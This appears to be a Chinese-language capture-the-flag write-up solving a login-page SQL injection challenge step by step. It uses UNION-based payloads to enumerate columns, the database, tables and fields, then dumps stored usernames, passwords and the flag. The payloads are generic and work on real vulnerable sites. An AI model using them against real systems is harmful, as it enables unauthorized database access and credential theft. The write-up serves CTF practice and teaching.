这里使用的工具是:hackbar
检测是否存在漏洞=>测注入点(回显点)=>爆库=>爆表=>爆字段=>爆字段值=>得到flag
好了,开始手注了: 1.测试列数 /check.php?username=1' order by 1 %23&password=123 此时返回正常的: NO,Wrong username password!!! 刚好测到4时,出现报错: /check.php?username=4' order by 1 %23&password=123 回显报错是: Unknown column '4' in 'order clause' 说明列数为3 2.测试回显点 这里采用的是联合查询 /check.php?username=4' union select 1,2,3 %23&password=123 ' output: Hello 2! Your password is '3' 返回的信息有'2'和'3'作为回显点,那么我们就可以……嘿嘿嘿……
3.爆库 这个爆库是有个大前提的,就是它必须自带information_schema表 这个是Mysql5.0开始系统自带的数据表,同时还有其它数据表也是系统自带的 这里先按下不表
尝试爆出当前 '数据库名' 和 '版本信息' : /check.php?username=4' union select 1,database(),version() %23&password=123 ' output: Hello geek! Your password is '10.3.18-MariaDB' 说明当前数据库是'geek',版本是'10.3.18-MariaDB', 符合使用那个特殊表的条件
3.爆表 使用information_schema '爆表名' :(显示问题,分成几行写) /check.php?username=4' union select 1, 2,group_concat(table_name) from information_schema.tables where table_schema=database() %23 &password=123 ' output: Hello 2! Your password is 'geekuser,l0ve1ysq1'
4.爆字段 尝试爆刚刚得到表的相关字段(因为'geekuser'表爆不出重要信息,省略) /check.php?username=4' union select 1, group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%password=123 ' 爆出的信息: Hello 2! Your password is 'id,username,password'
5.爆字段值 找到了库名,表名,只需要爆出字段值就能找到目标账户信息了: /check.php?username=1' union select 1, group_concat(username,'<br>'),group_concat(password,'<br>') from geek.l0ve1ysq1 %23&password=1 output: Hello 1cl4y,2glzjin,3Z4cHAr7zCr,40xC4m3l,5Ayrain,6Akko,7fouc5,8fouc5,9fouc5,10fouc5,11fouc5,12fouc5,13fouc5,14fouc5,15leixiao,16flag! Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{a2791aca-88f6-4c0c-99f8-4291bff1dcfc}' ' '末尾处有flag:' flag{a2791aca-88f6-4c0c-99f8-4291bff1dcfc}
|